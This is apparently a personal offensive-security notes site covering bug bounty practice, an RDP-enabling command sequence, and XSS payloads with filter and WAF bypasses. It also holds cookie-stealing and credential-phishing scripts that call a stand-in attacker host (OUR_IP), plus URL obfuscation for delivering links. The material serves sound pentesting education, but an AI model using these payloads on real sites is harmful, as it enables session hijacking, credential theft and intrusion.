To do so, follow these steps:

1. enable RDP: `reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f`
2. enable RDP from the firewall config: `netsh advfirewall firewall set rule group="remote desktop" new enable=Yes`
3. disable the restricted admin mode: `reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f`

Then, login using: `xfreerdp /v:Target-IP /u:AdminUser /p:password`


# Bug Bounty Hunting

## Overview - Bug Bounty Programs

Generally speaking, a bug bounty program is a proactive security testing initiative that allows individuals to receive recognition and compensation for discovering and reporting vulnerabilities.

Bug Bounty Programs can be `private` or `public`.

* `Public programs` are available to anyone registered on the platform where the program is ongoing.
* `Private programs` are available to bug bounty hunters who have earned an invitation thanks to their performance.

Lastly, all hunters must comply to the platform’s `code of conduct` and to the specific program’s scope, its limitations, policy, and rules.

Take time to carefully read both of these aspects before starting your activities.

***

## Reporting your Findings

Bug reports should include information on how exploitation of each vulnerability can be reproduced step-by-step. The elements for a `good report` are:

* **Vulnerability Title**: vulnerability type, affected endpoint, affected parameter(s) and authentication requirements.
* **CWE & CVSS Score**: to describe the characteristics and severity of the vulnerability.
* **Vulnerability Description**: explain the cause and everything about the vulnerability and the specific instance you are reporting.
* **Proof of Concept**: use screenshots to show the steps to reproduce the identification and exploitation phases of the identified vulnerability. Remember to include all steps to ensure an easier time while triaging.
* **Impact**: write some example scenarios that an attacker can achieve by fully exploiting the vulnerability. Try to also include information about the vulnerability's business impact and damage.
* **Remediation** (optional): provide guidance about how to fix the issue

#### Example Reports

You can find some great report examples below:

* <https://hackerone.com/reports/341876>
* <https://hackerone.com/reports/783877>
* <https://hackerone.com/reports/980511>
* <https://hackerone.com/reports/691611>
* <https://hackerone.com/reports/474656>

***

## Triaging Phase

If you submitted your report and have been waiting for a reasonable amount of time before having any response, you can contact [Mediation](https://docs.hackerone.com/hackers/hacker-mediation.html).&#x20;

Remember to always be professional during all communication. This will help to ensure that the triaging phase goes as fast and as smoothly as possible.&#x20;

During your triaging phase, you might have disagreements about the severity of the bug or its bounty award. Keep in mind that a bug's impact and severity play a significant role during the bounty amount assignment.

Whenever facing any disagreement, try to:&#x20;

* Explain the rationale for the severity score, guiding the triage team through each metric value used to calculate your CVSS score.
* Review the program's policy and score, showing that your submission is compliant to the program's statements.&#x20;
* If nothing works, contact mediation or a similar platform service.


# Bug Bounty Tools

## Before you move on

Before moving on, refer to the [information gathering page](https://notes.sfoffo.com/information-gathering) to try to use leverage Google Dorks, OSINT and information gathering techniques against your target.

Remember to use rate-limiting and user-headers according to the specific program's guideline.

***

## Auto Tools

{% hint style="info" %}
Notice - This page is Incomplete - more tools will be added
{% endhint %}

### Subdomain & VHost Discovery

<https://github.com/edoardottt/scilla>

<https://pentest-tools.com/information-gathering/find-subdomains-of-domain>

<https://pentest-tools.com/information-gathering/find-virtual-hosts>

***

### Information Gathering

<https://github.com/edoardottt/cariddi>

<https://github.com/j3ssie/metabigor>

<https://github.com/BullsEye0/dorks-eye>

<https://pentest-tools.com/information-gathering/google-hacking>

### Scanning for Vulnerabilities

<https://github.com/six2dez/reconftw>

<https://pentest-tools.com/website-vulnerability-scanning/website-scanner>

<https://pentest-tools.com/cms-vulnerability-scanning/wordpress-scanner-online-wpscan>


# Web Applications

## **Web Penetration Testing Methodologies**

* [OWASP WSTG](https://owasp.org/www-project-web-security-testing-guide/)
  * [OWASP WSTG Checklists](https://github.com/OWASP/wstg/tree/master/checklists)
  * [WSTG Checklist.MD](https://raw.githubusercontent.com/OWASP/wstg/master/checklists/checklist.md)
  * [WSTG Checklist.xlsx](https://github.com/OWASP/wstg/raw/master/checklists/checklist.xlsx)
* [OWASP Top 10](https://owasp.org/www-project-top-ten/)
* [OWASP CheatSheets](https://cheatsheetseries.owasp.org/Glossary.html)
* [CWE List](https://cwe.mitre.org/data/)
* [CVSS v3 Calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
* [Mitre ATT\&CK matrix](https://attack.mitre.org/)

***

## **Learning Resources**

1. <https://portswigger.net/web-security>
2. <https://book.hacktricks.xyz/network-services-pentesting/pentesting-web>
3. <https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/web-api-pentesting>
4. <https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology>


# Web Attacks

## **Introduction**

> Web applications are very common and utilized for most businesses.\
> As modern web applications become more complex and advanced, so do the types of attacks utilized against them. This leads to a vast attack surface, which is why web attacks are the most common types of attacks against companies.\
> \
> Attacking external-facing web applications may result in compromise of the businesses' internal network, which may eventually lead to stolen assets or disrupted services.\
> Even if a company has no external facing web applications, they likely utilize internal web applications, or external facing API endpoints, both of which are vulnerable to the same types of attacks and can be leveraged to achieve the same goals.

***

## **External Resources**

* <https://book.hacktricks.xyz/pentesting-web/web-vulnerabilities-methodology>
* <https://portswigger.net/web-security>


# Cross Site Scripting (XSS)

## **Introduction**

> Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application.\
> XSS normally allows an attacker to masquerade as a victim user, carrying out any actions that the user is able to perform and accessing any of the user's data.\
> **Source:** <https://portswigger.net/web-security/cross-site-scripting>

***

## **XSS Useful References**

{% hint style="info" %}
Awesome labs to train your XSS skills:\
<https://xssy.uk/>
{% endhint %}

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection>
* <https://github.com/s0md3v/AwesomeXSS?tab=readme-ov-file#awesome-bypassing>
* <https://github.com/payloadbox/xss-payload-list>
* <https://github.com/terjanq/Tiny-XSS-Payloads>
* <https://github.com/xsuperbug/payloads/>

***

## **XSS Tools**

* <https://github.com/alessio-romano/UniXSS>
* <https://github.com/s0md3v/XSStrike>
* <https://github.com/rajeshmajumdar/BruteXSS>
* <https://github.com/epsylon/xsser>

***

## **Basic XSS Payloads**

| Code                                                                            | Description               |
| ------------------------------------------------------------------------------- | ------------------------- |
| `<script>alert(window.origin)</script>`                                         | Basic XSS Payload         |
| `<plaintext>`                                                                   | Basic XSS Payload         |
| `<script>print()</script>`                                                      | Basic XSS Payload         |
| `<img src="" onerror=alert(window.origin)>`                                     | HTML-based XSS Payload    |
| `<script src="http://OUR_IP/script.js"></script>`                               | Load remote script        |
| `<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>` | Send Cookie details to us |

***

## XSS Filters & WAFs Evasion

Web Application Firewalls (WAFs) inspect requests, analyse payloads, and apply predefined rule sets to identify and block any malicious traffic.

WAFs can protect web applications by leveraging various techniques such as signature-based pattern matching, behaviour analysis, and anomaly detection.

This section focuses on different methods which could help you bypassing XSS filters, whether they are in place due to the web application's implementation or due to a Web Application Firewall.\
\
If you are not sure whether the web application is protected by a WAF, some basic fingerprinting checks you can perform are the following:

* Use automated tools, such as [`wafw00f`](https://github.com/EnableSecurity/wafw00f)
* Check if there are cookie values set by the WAF\
  Example: `F5 BIG-IP ASM` releases cookies starting with `TS`
* `Server` headers or any other uncommon header
* Sometimes, the HTTP body contains some hints about the WAF in place.

{% hint style="info" %}
Many more infos and WAF fingerprinting techniques can be found here:\
<https://github.com/0xInfection/Awesome-WAF>
{% endhint %}

***

### Extra Hints & Tricks

* If `alert()` is filtered, a valid (and less filtered) alternative is `confirm()`
* You can close tags using `//` rather than `>`
* Sometimes, you can access DOM Objects by just specifying their name.\
  Instead of using `document.cookie` and `document.domain` you can use `cookie` and `domain` respectively.
* `http(s)://` can be shortened to `//` or `/\\` or `\\`.
* Quotes are not required as long as you are not using spaces. For example you can use `<img src=http://example.com` without specifying any quotes.
* If all HTML tags are filtered, you can sometimes use custom ones, for example:\
  `<22>alert()</22>`

### Alternative Encodings

If your characters are being filtered, a good starting point is trying the following alternative encodings

<table data-full-width="false"><thead><tr><th width="103">Char</th><th width="121">HTML</th><th width="136">Numeric Decimal</th><th width="120">JS UniCode</th><th>Num. Hexadecimal</th><th width="108">CSS (ISO)</th><th width="111">JS (Octal)</th><th>URL</th></tr></thead><tbody><tr><td>"</td><td><code>&#x26;quot;</code></td><td><code>&#x26;#34;</code></td><td>\u0022</td><td>u+0022</td><td>\0022</td><td>\42</td><td>%22</td></tr><tr><td>#</td><td><code>&#x26;num;</code></td><td><code>&#x26;#35;</code></td><td>\u0023</td><td>u+0023</td><td>\0023</td><td>\43</td><td>%23</td></tr><tr><td>$</td><td><code>&#x26;dollar;</code></td><td><code>&#x26;#36;</code></td><td>\u0024</td><td>u+0024</td><td>\0024</td><td>\44</td><td>%24</td></tr><tr><td>%</td><td><code>&#x26;percnt;</code></td><td><code>&#x26;#37;</code></td><td>\u0025</td><td>u+0025</td><td>\0025</td><td>\45</td><td>%25</td></tr><tr><td>&#x26;</td><td><code>&#x26;amp;</code></td><td><code>&#x26;#38;</code></td><td>\u0026</td><td>u+0026</td><td>\0026</td><td>\46</td><td>%26</td></tr><tr><td>'</td><td><code>&#x26;apos;</code></td><td><code>&#x26;#39;</code></td><td>\u0027</td><td>u+0027</td><td>\0027</td><td>\47</td><td>%27</td></tr><tr><td>(</td><td><code>&#x26;lpar;</code></td><td><code>&#x26;#40;</code></td><td>\u0028</td><td>u+0028</td><td>\0028</td><td>\50</td><td>%28</td></tr><tr><td>)</td><td><code>&#x26;rpar;</code></td><td><code>&#x26;#41;</code></td><td>\u0029</td><td>u+0029</td><td>\0029</td><td>\51</td><td>%29</td></tr><tr><td>*</td><td><code>&#x26;ast;</code></td><td><code>&#x26;#42;</code></td><td>\u002a</td><td>u+002A</td><td>\002a</td><td>\52</td><td>%2A</td></tr><tr><td>+</td><td><code>&#x26;plus;</code></td><td><code>&#x26;#43;</code></td><td>\u002b</td><td>u+002B</td><td>\002b</td><td>\53</td><td>%2B</td></tr><tr><td>,</td><td><code>&#x26;comma;</code></td><td><code>&#x26;#44;</code></td><td>\u002c</td><td>u+002C</td><td>\002c</td><td>\54</td><td>%2C</td></tr><tr><td>-</td><td><code>&#x26;minus;</code></td><td><code>&#x26;#45;</code></td><td>\u002d</td><td>u+002D</td><td>\002d</td><td>\55</td><td>%2D</td></tr><tr><td>.</td><td><code>&#x26;period;</code></td><td><code>&#x26;#46;</code></td><td>\u002e</td><td>u+002E</td><td>\002e</td><td>\56</td><td>%2E</td></tr><tr><td>/</td><td><code>&#x26;sol;</code></td><td><code>&#x26;#47;</code></td><td>\u002f</td><td>u+002F</td><td>\002f</td><td>\57</td><td>%2F</td></tr><tr><td>:</td><td><code>&#x26;colon;</code></td><td><code>&#x26;#58;</code></td><td>\u003a</td><td>u+003A</td><td>\003a</td><td>\72</td><td>%3A</td></tr><tr><td>;</td><td><code>&#x26;semi;</code></td><td><code>&#x26;#59;</code></td><td>\u003b</td><td>u+003B</td><td>\003b</td><td>\73</td><td>%3B</td></tr><tr><td>&#x3C;</td><td><code>&#x26;lt;</code></td><td><code>&#x26;#60;</code></td><td>\u003c</td><td>u+003C</td><td>\003c</td><td>\74</td><td>%3C</td></tr><tr><td>=</td><td><code>&#x26;equals;</code></td><td><code>&#x26;#61;</code></td><td>\u003d</td><td>u+003D</td><td>\003d</td><td>\75</td><td>%3D</td></tr><tr><td>></td><td><code>&#x26;gt;</code></td><td><code>&#x26;#62;</code></td><td>\u003e</td><td>u+003E</td><td>\003e</td><td>\76</td><td>%3E</td></tr><tr><td>?</td><td><code>&#x26;quest;</code></td><td><code>&#x26;#63;</code></td><td>\u003f</td><td>u+003F</td><td>\003f</td><td>\77</td><td>%3F</td></tr><tr><td>@</td><td><code>&#x26;commat;</code></td><td><code>&#x26;#64;</code></td><td>\u0040</td><td>u+0040</td><td>\0040</td><td>\100</td><td>%40</td></tr><tr><td>[</td><td><code>&#x26;lsqb;</code></td><td><code>&#x26;#91;</code></td><td>\u005b</td><td>u+005B</td><td>\005b</td><td>\133</td><td>%5B</td></tr><tr><td>\</td><td><code>&#x26;bsol;</code></td><td><code>&#x26;#92;</code></td><td>\u005c</td><td>u+005C</td><td>\005c</td><td>\134</td><td>%5C</td></tr><tr><td>]</td><td><code>&#x26;rsqb;</code></td><td><code>&#x26;#93;</code></td><td>\u005d</td><td>u+005D</td><td>\005d</td><td>\135</td><td>%5D</td></tr><tr><td>^</td><td><code>&#x26;Hat;</code></td><td><code>&#x26;#94;</code></td><td>\u005e</td><td>u+005E</td><td>\005e</td><td>\136</td><td>%5E</td></tr><tr><td>_</td><td><code>&#x26;lowbar;</code></td><td><code>&#x26;#95;</code></td><td>\u005f</td><td>u+005F</td><td>\005f</td><td>\137</td><td>%5F</td></tr><tr><td>`</td><td><code>&#x26;grave;</code></td><td><code>&#x26;#96;</code></td><td>\u0060</td><td>u+0060</td><td>\0060</td><td>\u0060</td><td>%60</td></tr><tr><td>{</td><td><code>&#x26;lcub;</code></td><td><code>&#x26;#123;</code></td><td>\u007b</td><td>u+007b</td><td>\007b</td><td>\173</td><td>%7b</td></tr><tr><td>|</td><td><code>&#x26;verbar;</code></td><td><code>&#x26;#124;</code></td><td>\u007c</td><td>u+007c</td><td>\007c</td><td>\174</td><td>%7c</td></tr><tr><td>}</td><td><code>&#x26;rcub;</code></td><td><code>&#x26;#125;</code></td><td>\u007d</td><td>u+007d</td><td>\007d</td><td>\175</td><td>%7d</td></tr></tbody></table>

***

### Basic Bypasses

{% hint style="info" %}
Whenever facing filters or blacklists on your special characters or javascript payloads, try using the following basic bypasses and alternative representations.
{% endhint %}

***

#### Alert alternatives

If `alert('xss')` or `alert(1)` are filtered, try using:

* `prompt('xss')` or `prompt(1)`
* `confirm('xss')` or `confirm(1)`
* `alert(/xss/.source)`
* `windows/alert/.source`

***

#### OnError alternatives

If `onerror=alert(1)` is filtered, try using:

* `onload=alert(1)`
* `onfocus=alert(1)` combined with `autofocus=true`
* `setTimeout(alert(1))`&#x20;
* `setInterval(alert(1))`
* `Function(alert(1))()`
* `setImmediate(alert(1))` \[notice that this only works on IE 10+]

***

#### Img tag alternatives

If an img payload such as `<img src=x onerror=alert(1)>` is filtered, try using:

* `<svg/onload=alert(1)>`
* `<video src=x onerror=alert(1)>`
* `<audio src=x onerror=alert(1)>`

***

#### Using Base64 encoded payloads&#x20;

You can bypass many blacklist-based filters by using Base64-encoded payloads.

Generally speaking, you can generate the Base64-encoding of any payload and use it inside the `atob` JavaScript function. In particular, just use

`atob("<BASE64-PAYLOAD-ENCODING>")`

You could also use other base64 encoded payloads such as the following alternative to `javascript:alert('XSS')`: `data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=`

***

#### Using JavaScript Unicode Characters

Some filters can be bypassed by using the JavaScript **Unicode escape sequences** to represent any blacklisted word or character.

For example, if `alert` is blacklisted, you can use `\u0061lert`, where `\u0061` is the Unicode escape sequence for the lowercase letter `a`.

A valid payload to bypass the previous blacklist example is:  `<script>\u0061lert(document.cookie)</script>`

{% hint style="success" %}
To represent the character ‘a’ using a Unicode escape sequence, you would use \u0061 because the Unicode code point for 'A' is 0x61 in hexadecimal.
{% endhint %}

You can use the following JavaScript code in your browser’s console to quickly gain the unicode values you need

```
let asciiStr = “a”;
let unicodeHexStr = asciiStr.split('').map(c => '\\u' + ('000' + c.charCodeAt(0).toString(16)).slice(-4)).join('');
console.log(unicodeHexStr)
```

***

### Unicode Normalization

Unicode normalization is a process that ensures different binary representations of characters are standardized to the same binary value. This process is crucial in dealing with strings in programming and data processing

Depending on how the back-end/front-end is behaving when it **receives weird unicode characters** an attacker might be able to **bypass protections and inject arbitrary characters.** Indeed, sometimes, unicode normalization even allows bypassing WAFs in place.

You can find find a great article about this topic here:\
<https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/>

Two lists of unicode normalized characters can be found at:

* <https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html>
* <https://0xacb.com/normalization_table>

{% hint style="success" %}
I made a tool to help converting characters to their corresponding unicode normalized value, which I suggest to anyone. You can find my helper tool to perform Unicode Normalization here: <https://github.com/alessio-romano/UniXSS>
{% endhint %}

If you prefer, you can also find a list of copy-paste unicode normalized characters below:

| Character | Unicode Normalization            |
| --------- | -------------------------------- |
| <         | %EF%BC%9C                        |
| >         | %EF%BC%9E                        |
| ≮         | <p>%e2%89%ae</p><p>\&#x226e;</p> |
| ﹤         | <p>%ef%b9%a4<br>\&#xfe64;</p>    |
| ＜         | <p>%ef%bc%9c<br>\&#xff1c;</p>    |
| ≯         | <p>%e2%89%af<br>\&#x226f;</p>    |
| ﹥         | <p>%ef%b9%a5<br>\&#xfe65;</p>    |
| ＞         | <p>%ef%bc%9e<br>\&#xff1e;</p>    |
| '         | %ef%bc%87                        |
| "         | %ef%bc%82                        |
| =         | %e2%81%bc                        |
| /         | %ef%bc%8f                        |

### Bypass Using JSFuck

JSFuck is an esoteric JavaScript programming language that only uses the following 6 characters to write any JavaScript code: `[]()!+`

{% hint style="info" %}
The (very) basic idea behind JSFuck is that you can recreate all JavaScript functionalities using such a limited set of characters because JavaScript is a weakly typed programming language, meaning that it allows the evaluation of any expression as any type.\
\
If you want to know more about its inner workings, check out this [link](https://github.com/aemkei/jsfuck?tab=readme-ov-file#how-it-works).
{% endhint %}

The following represents an `alert(1)` payload written in JSFuck

```javascript
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()
```

<figure><img src="/files/Ty6exEXqMCctyUbnIhnd" alt=""><figcaption><p>Triggering an alert(1) message in Firefox's console using JSFuck</p></figcaption></figure>

Link: <https://jsfuck.com/>\
GitHub Repo: <https://github.com/aemkei/jsfuck>

***

## XSS Payloads Delivery

Exploiting XSS vulnerabilities requires users to land on the vulnerable URL, meaning that you will need to use some degree of social engineering to correctly deliver the URL containing your payload.

The URL obfuscation techniques in this section can be handy in bypassing a filtered system, or to just shorten the vector to respect a length limit.

***

### URL Shortening Obfuscation

You can use known URL shorteners (or host your own) to basically hide the malicious link you are pointing to.

{% hint style="warning" %}
Since this technique has started to spread as an attack vector to send links to malicious resources, some service providers have implemented features to preview where the shortened links points.
{% endhint %}

You can use shorteners such as:

* <https://tinyurl.com/>
* <https://www.shorturl.at/>
* <https://bitly.com/>
* <https://yourls.org/>

***

### URL UserInfo Obfuscation

UserInfo is a subcomponent used to specify the credentials to authenticate to a specified resource.\
If the resource requires no authentication, this subcomponent is ignored by both the browser and the server.

{% hint style="warning" %}
Not all browsers freely allow using the UserInfo subcomponent:

* Firefox and Opera show alert messages to notify the user.
* Google Chrome allows this behaviour silently!
  {% endhint %}

The UserInfo subcomponent is normally used as follows:\
`username:password@google.com`

You can obfuscate your malicious URL by using a trusty-looking userinfo value such as `www.google.com:searchqwhatever@google.com`

Also notice that userinfo allows UniCode characters!\
An example is: `위키백과:대문:위키백과:대문@google.com`

***

### URL Alternative Representations

You can obfuscate the host subcomponent by using different alternative representations for it.\
Rather than using the standard hostname or dotted-decimal IP representations, you can use the following alternatives.

{% hint style="success" %}
It is also possible to mix the representations below to make an hybrid.\
Also, this tool can help you generating the alternative representations quicker: <https://www.silisoftware.com/tools/ipconverter.php>
{% endhint %}

***

#### DWORD (Double Word)

The IP address is translated in an equivalent 16bit number.\
For example, one of Google's IP addresses (216.58.215.78) can be translated to 3627734862, meaning that it can be accessed using `http://3627734862`.

To obtain the DWORD for a target IP (192.168.1.1 in the example), use the following JavaScript oneliner in a browser

```
console.log("192.168.1.1".split('.').reduce((dword, octet) => (dword << 8) + Number(octet), 0) >>> 0);
```

***

#### OCTAL

An IP address can also be represented in Octal form by converting the IP to base8.\
The result, still using Google's IP is: `http://0330.0072.0327.0116`

{% hint style="success" %}
We can also "feed" each number by adding leading zeroes without break the original value as follows: <http://0000000330.0000000072.0000000327.000000116\\>
This extra case, however, does not work in Internet Explorer.
{% endhint %}

To obtain the Octal for a target IP (192.168.1.1 in the example), use the following JavaScript oneliner in a browser

```
console.log("192.168.1.1".split('.').map(octet => '0' + (+octet).toString(8)).join('.'));
```

***

#### HEXADECIMAL

An IP address can also be represented in Hexadecimal form by converting the IP to base16.\
The result, still using Google's IP is: `http://0xd83ad74e`

{% hint style="success" %}
Each number can also be separated like this:\
`http://0xd8.0x3a.0xd7.0x4e`
{% endhint %}

To obtain the Hexadecimal for a target IP (192.168.1.1 in the example), use the following JavaScript oneliner in a browser:

```
console.log("192.168.1.1".split('.').map(octet => '0x' + (+octet).toString(16)).join('.'));
```

***

### Using Tabs and Newlines

You can use tabs (`&Tab`;) and  newlines (`&NewLine;`) in JavaScript to bypass some WAFs or blacklists. The following is a basic payload to bypass a blacklist on the word `javascript:`

```html
<a href=j%26Tab%3bavascript%26colon%3balert()>a</a>
```

Other more complex payloads using this technique:

```html
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
```

```html
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
```

***

## XSS - Other Attacks

{% hint style="info" %}
XSS attacks are not just about popping the alert message containing cookies.

This section describes some alternative attacks you can perform by exploiting XSS vulnerabilities
{% endhint %}

***

### Open Redirect to XSS

Whenever you are facing a web application which is vulnerable to Open Redirects, it might also be the case that the same vector can be used to gain XSS.

An example might be a website which allows for open redirects by leveraging a GET parameter, such as the following: `vulnerable.com/test.php?redirect_url={value}`

Instead of using the standard http or https protocols followed by your attacker website, you might insert a `javascript` payload as the `value` of the `redirect_url` parameter.\
For example, you could navigate to the following URL to pop an alert:\
`vulnerable.com/test.php?redirect_url=javascript:alert(document.domain)`

***

### Stored XSS via PDF File Uploads

When testing a web application that allows PDF uploads, it's worth checking whether the server validates the contents of the uploaded files. If there's no antivirus or file inspection in place, it may be possible to upload a PDF containing a **stored XSS** payload embedded directly in the file.

These files might later be rendered by internal PDF viewers (such as **pdf.js**, browser extensions, or server-side preview tools), potentially triggering the payload.&#x20;

{% hint style="danger" %}
M**ost modern browsers and PDF viewers render PDFs in a sandboxed environment**, which heavily restricts what the XSS payload can do. Since you won't have full DOM access, or access to session cookies, you’ll only be able to trigger basic actions like `alert()` messages
{% endhint %}

You can find a collection of example PDFs with XSS payloads (mostly simple `alert()` popups) here:\
<https://github.com/luigigubello/PayloadsAllThePDFs>

***

### **XSS Session Hijacking**

* Use the following XSS Payload: `<script src=http://OUR_IP/script.js></script>`
* On the attacker machine, write one of the following payload inside a file named `script.js`:
  1. `new Image().src='http://OUR_IP/index.php?c='+document.cookie`
  2. `document.location='http://OUR_IP/index.php?c='+document.cookie;`

***

### **XSS Phishing**

You can use wget or other tools such as [goclone](https://github.com/imthaghost/goclone) to clone a website's content.

After that, you can use tools such as `urlcrazy` to generate domain names similar to the one you are trying to target via the commandline, e.g. you can just use `urlcrazy www.example.com` to generate all the useful, similar domain names for phishing attempts

Another form of XSS phishing can be obtained by leveraging stored XSS vulnerabilities to inject a fake login form that sends the credentials to our attacker server

```
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
```

***

### **XSS Defacing**

> * Defacing means changing the website's appearance for anyone who visits the website
> * The website's appearance can be changed using injected Javascript code
> * Note: This requires a stored XSS Vulnerability

| Defacing Payload                                                                    | Description                                  |
| ----------------------------------------------------------------------------------- | -------------------------------------------- |
| `<script>document.body.style.background = "#141d2b"</script>`                       | Change website background color              |
| `<script>document.body.background = "https://example.com/images/logo.svg"</script>` | Change website background image              |
| `<script>document.title = 'New Title'</script>`                                     | Change website title                         |
| `document.getElementById("todo").innerHTML = "New Text"`                            | Change HTML element/DOM text using innerHTML |

## Miscellaneous

### XSS via HTML base tag injection

{% hint style="info" %}
The HTML `<base>` tag specifies the base URL for all relative URLs in a document.

It’s a  feature that simplifies document editing and management, but can easily be exploited by attackers who can inject a base tag URL inside the HTML document.
{% endhint %}

If you can inject a malicious base tag (or itrs URL), then **all relative paths defined inside the injected HTML page will refer to the base URL defined** inside it.

Considering that many pages will include JavaScript files using relative URLs, you might be able to obtain an XSS from this HTML injection attack.

A basic **example** is the following:

<pre class="language-html"><code class="lang-html"><strong># Consider you have injected the following base tag:
</strong>&#x3C;base href="https://yourserver.example/" />

# The injected HTML page contains a script loaded using a relative URL, such as:
&#x3C;script src="/static/script.js">

# This means you can write the "/static/script.js" file on your webserver
# to perform an XSS attack, as the injected page will load the script located
# at the following URL: https://yourserver.example/static/script.js
</code></pre>

***

### Bypassing HTTPOnly - Cross Site Tracing (XST)

A Cross-Site Tracing (XST) attack involves the use of Cross-site Scripting (XSS) and the TRACE or TRACK HTTP methods.

{% hint style="info" %}
The HTTP TRACE method allows the client to see what is being received at the other end of the request chain and use that data for testing or diagnostic information.

The TRACK method works in the same way but is specific to Microsoft’s IIS web server.
{% endhint %}

Using XST, an attacker can steal user’s cookies even if they have the “HttpOnly” flag, as the TRACE method will reflect back the input user’s request, revealing any Cookies or Authorization header.

OWASP provides several [examples](https://owasp.org/www-community/attacks/Cross_Site_Tracing#:~:text=Example%20JavaScript%20XMLHttpRequest%20TRACE%20request) about this attack that you can check out.

{% hint style="danger" %}
This technique is quite old: modern browsers typically block the HTTP TRACE method inside scripting languages and libraries. The only way to effectively leverage XST is to use existing alternatives to JavaScript such as Java&#x20;
{% endhint %}


# CSRF

Cross-site request forgery (CSRF) is a web vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.

<details>

<summary>Fundamental Concepts</summary>

#### Same Origin Policy (SOP)

The Same-Origin policy is a security mechanism implemented in web browsers to prevent cross-origin access to websites. In particular, JavaScript code running on one origin cannot access a different origin.

{% hint style="info" %}
The `origin` is defined as the combination of `scheme`, `host`, and `port` of a URL.\
The SOP applies whenever two URLs differ in at least one of these three properties.
{% endhint %}

If a browser did not enforce the Same-Origin Policy, a web application (site A) could make cross-site requests to a separate web application (site B) using the user’s site B cookies and read authenticated responses!

{% hint style="danger" %}
It is crucial to understand that the Same-Origin Policy does not block requests, but prevents web applications from reading responses from another site.
{% endhint %}

***

#### Cross-Origin Resource Sharing (CORS)

Cross-Origin Resource Sharing (CORS) is a W3C standard that defines exceptions to the Same-Origin Policy, allowing a web application to **specify which origins and HTTP methods are permitted to access its resources.**

A web server can configure exceptions to the Same-Origin policy via CORS by setting any of the following CORS headers in the HTTP response:

| CORS HTTP Header                 | Defined exceptions                                                                                                                                       |
| -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Access-Control-Allow-Origin      | SOP exceptions for a specific origin                                                                                                                     |
| Access-Control-Allow-Headers     | SOP exceptions for or allowed HTTP headers in response to a preflight request                                                                            |
